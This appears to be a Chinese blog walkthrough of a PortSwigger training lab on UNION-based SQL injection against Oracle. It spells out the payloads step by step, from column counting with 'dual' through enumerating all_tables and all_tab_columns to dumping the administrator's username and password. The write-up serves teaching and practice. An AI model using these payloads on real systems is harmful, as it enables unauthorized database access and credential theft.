首页 > 数据库 >bp靶场---SQL注入第六关(oracle)

bp靶场---SQL注入第六关(oracle)

时间:2025-01-11 13:57:24浏览次数:3  
标签:name union SQL --- bp 表名 table null select

Lab: SQL injection attack, listing the database contents on Oracle

传送门:https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-oracle

看一下描述

拿到adminstrator的账号密码进行登录,已知该数据库为oracle

第一步:判断注入点

使用category=Pets' and 1=2--+,发现返回为空

第二步:判断联合查询的字段数

使用category=Pets' union select null from dual--+,判断一个列数,返回500 internal server error,所以不正确. 

这里为什么要判断列数?

因为

联合查询通常使用 UNION、UNION ALL、INTERSECT、MINUS 等操作符来实现。联合查询的条件如下:

  1. 使用 UNION 联合查询的各条 SQL 语句查询出的列数必须相同。
  2. 这若干个 SELECT 子句输出的列数必须是相等的。
  3. 这若干个 SELECT 子句输出列的数据类型至少是兼容的。
  4. 所有使用 UNION 运算符组合查询的结果集,需要满足以下条件:
    • 所有 SELECT 语句中出现的列的数量和顺序必须相同。
    • 列的数据类型必须相同或可转换。

例如:select uid, name, age from user union select id, name, sex from tmp; 在此示例中,两个查询语句的列数相同,且列的数据类型满足要求。

这里为什么使用select null from dual?

因为

  • dual 是 Oracle 中的伪表,只有一个字段 DUMMY 和一行记录 X。其目的是为了满足语法上的需求,使得最基本的操作也能满足语法的完整性。
  • null 是一个常量,表示空。在 Oracle 的 SELECT 语法限制下,当没有实际的表名进行查询时,使用 dual 表来占位,使得语法完整。例如,select null 语法不完整,而 select null from dual 语法完整。

使用category=Pets' union select null,null from dual--+,判断两个列数,返回200 正常显示,所以

第三步:查表名

首先得知道oracle数据库查询表名的语法

SELECT * FROM all_table

这一句是要查询所有信息从all_table,我们不需要那么多,我们只需要表名即可(可以浏览器直接搜索all_tables+oracle就可以查到all_tables的相关描述了,看看有什么字段),找到了一个存放所有表名的字段,也就是下面的table_name

使用

category=Pets' union select '1',table_name from all_tables--+查出该数据库的所有表名

这个USERS_SANKYF可能会存有账号密码

第四步:查USERS_SANKYF下的字段名

先查一下语法

SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'

补充:

在 Oracle 数据库中,`SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'`的意思是从 `all_tab_columns` 数据字典视图中查询表名为 `TABLE-NAME-HERE` 的所有列的信息。`all_tab_columns` 是 Oracle 数据库的一个数据字典视图,用于提供关于数据库中所有可见表的列信息,对于数据库管理、开发和调试非常有用。 

显然大致符合我们的需求,只需要找到一个存放所有字段名的字段

使用谷歌搜索一下all_tab_columns+oracle的相关字段,找到一个COLUMN_NAME

SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'与COLUMN_NAME、USERS_SANKYF进行拼接

使其成为合适的注入语句

category=Gifts' union select null,column_name from all_tab_columns where table_name='USERS_SANKYF'--

第五步:查找admin的账号密码

上一步查出USERS_SANKYF表的两个字段

PASSWORD_BGZIRU
USERNAME_WDEHKU

使用category=Gifts' union select USERNAME_WDEHKU,PASSWORD_BGZIRU from USERS_SANKYF--

成功找到administrator的账号密码,最后进行登录。

完成!

总结:

第一步:判断注入点

第二步:判断联合查询的字段数

可以使用pets' order by+数字--,也可以像我一样使用union select null,null from dual--(标红的很重要,只有这样才能查询成功,不然会报错,具体原因上边也说了)

第三步:查可能存在账号密码的所有表名

需要知道oracle的相关语法,union select unll,table_name from all_tables--

第四步:利用查出的表名查出该表的所有字段名,寻找账号密码的相关字段

union select unll,column_name from all_tab_columns where table_name='上一步查出来的表名'--

第五步:确定好账号密码的字段和所在表,就可以直接进行查找了

category=Gifts' union select 账号字段,密码字段 from 目标表名--

标红的就是oracle型的sql注入所要了解的的表名和字段名,查所有表名应该怎么查,查所有字段名应该怎么查。

OK结束了。

标签:name,union,SQL,---,bp,表名,table,null,select
From: https://blog.csdn.net/m0_72471814/article/details/145057967

相关文章

  • vue3 + arcgis.js4.x---导航箭头轨迹线
    onMounted(()=>{window.customMap=mapInit.initMap()constgraphicsLayer=newGraphicsLayer()//创建一个图层对象constpolyline=newPolyline({paths:[[117.227239,31.820586],[117.227239,33.820586],[119.227239,31......
  • vue3 + arcgis.js4.x---卷帘模式
    这里使用天地图的矢量图和影像图作为卷帘对比(tk自行申请)//初始化地图map:newMap({basemap:newBasemap({baseLayers:[newWebTileLayer('http://{subDomain}.tianditu.com/DataServer?T=vec_w&X={col}&Y={row}&L={level}&tk=',{......
  • 蜘蛛织网--广度优先搜索和深度优先搜索在学习策略上的一些考量(1)
    如果把学习的过程想象为一个建立一张蛛网的过程,那么广度优先就是优先蛛网的大小,深度优先就是优先蛛丝的强度。那么现在的问题是什么?时间是有限的,进步也是有限的,想让网抓到想要的虫子(解决问题更加合理),我们就必须仔细考量网的大小和强度--即蛛网的大小和强度由所需要捕捉到的虫子(需......
  • 2024-12-10-json
    Json在pox.xml中添加如下依赖<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.78</version></dependency>添加上述依赖后可用于接收传输过来的请求体数据......
  • 2024-12-22-element
    由饿了么开发的element开源项目属实是新手将页面做好的好帮手我使用的element-ui网站:https://element.eleme.cn/#/zh-CN示例-没有script部分-点击查看代码<divid="app"><!--导航菜单--><divclass="line"></div><el-menu:default-active="......
  • Sigrity System SI SerialLink模式进行100base_T1协议仿真分析操作指导-100BaseT1_Rx
    SigritySystemSISerialLink模式进行100base_T1协议仿真分析操作指导-100BaseT1_RxSigritySystemSISerialLink模式提供了10个协议合规性检查工具模板,用户可以将根据实际应用替换模板中的SPICE文件,然后进行协议仿真分析,同时软件还提供了目标结果的模板MASK以及该协议需要......
  • Sigrity System SI SerialLink模式进行USB3.0协议仿真分析操作指导-SuperSpeed_Tx_Dev
    SigritySystemSISerialLink模式进行USB3.0协议仿真分析操作指导-SuperSpeed_Tx_DeviceSigritySystemSISerialLink模式提供了10个协议合规性检查工具模板,用户可以将根据实际应用替换模板中的SPICE文件,然后进行协议仿真分析,同时软件还提供了目标结果的模板MASK以及该协议......
  • 树莓派-5-GPIO的应用实验之GPIO的编码方式和SDK介绍
    文章目录1GPIO编码方式1.1管脚信息1.2使用场合1.3I2C总线1.4SPI总线2RPI.GPIO2.1PWM脉冲宽度调制2.2静态函数2.2.1函数setmode()2.2.2函数setup()2.2.3函数output()2.2.4函数input()2.2.5捕捉引脚的电平改变2.2.5.1函数wait_for_e......
  • 洛谷 P1102 A-B 数对(二分写法)
    题目:P1102A-B数对-洛谷|计算机科学教育新生态题目背景出题是一件痛苦的事情!相同的题目看多了也会有审美疲劳,于是我舍弃了大家所熟悉的A+BProblem,改用A-B了哈哈!题目描述给出一串正整数数列以及一个正整数 C,要求计算出所有满足 A−B=C 的数对的个数(不同位置的数......
  • python毕设 停车场管理系统-后台程序+论文
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容一、选题背景关于停车场管理系统的研究,现有研究主要以传统管理方式为主,专门针对使用Python开发停车场管理系统的研究较少。在国内外,停车场管理面临......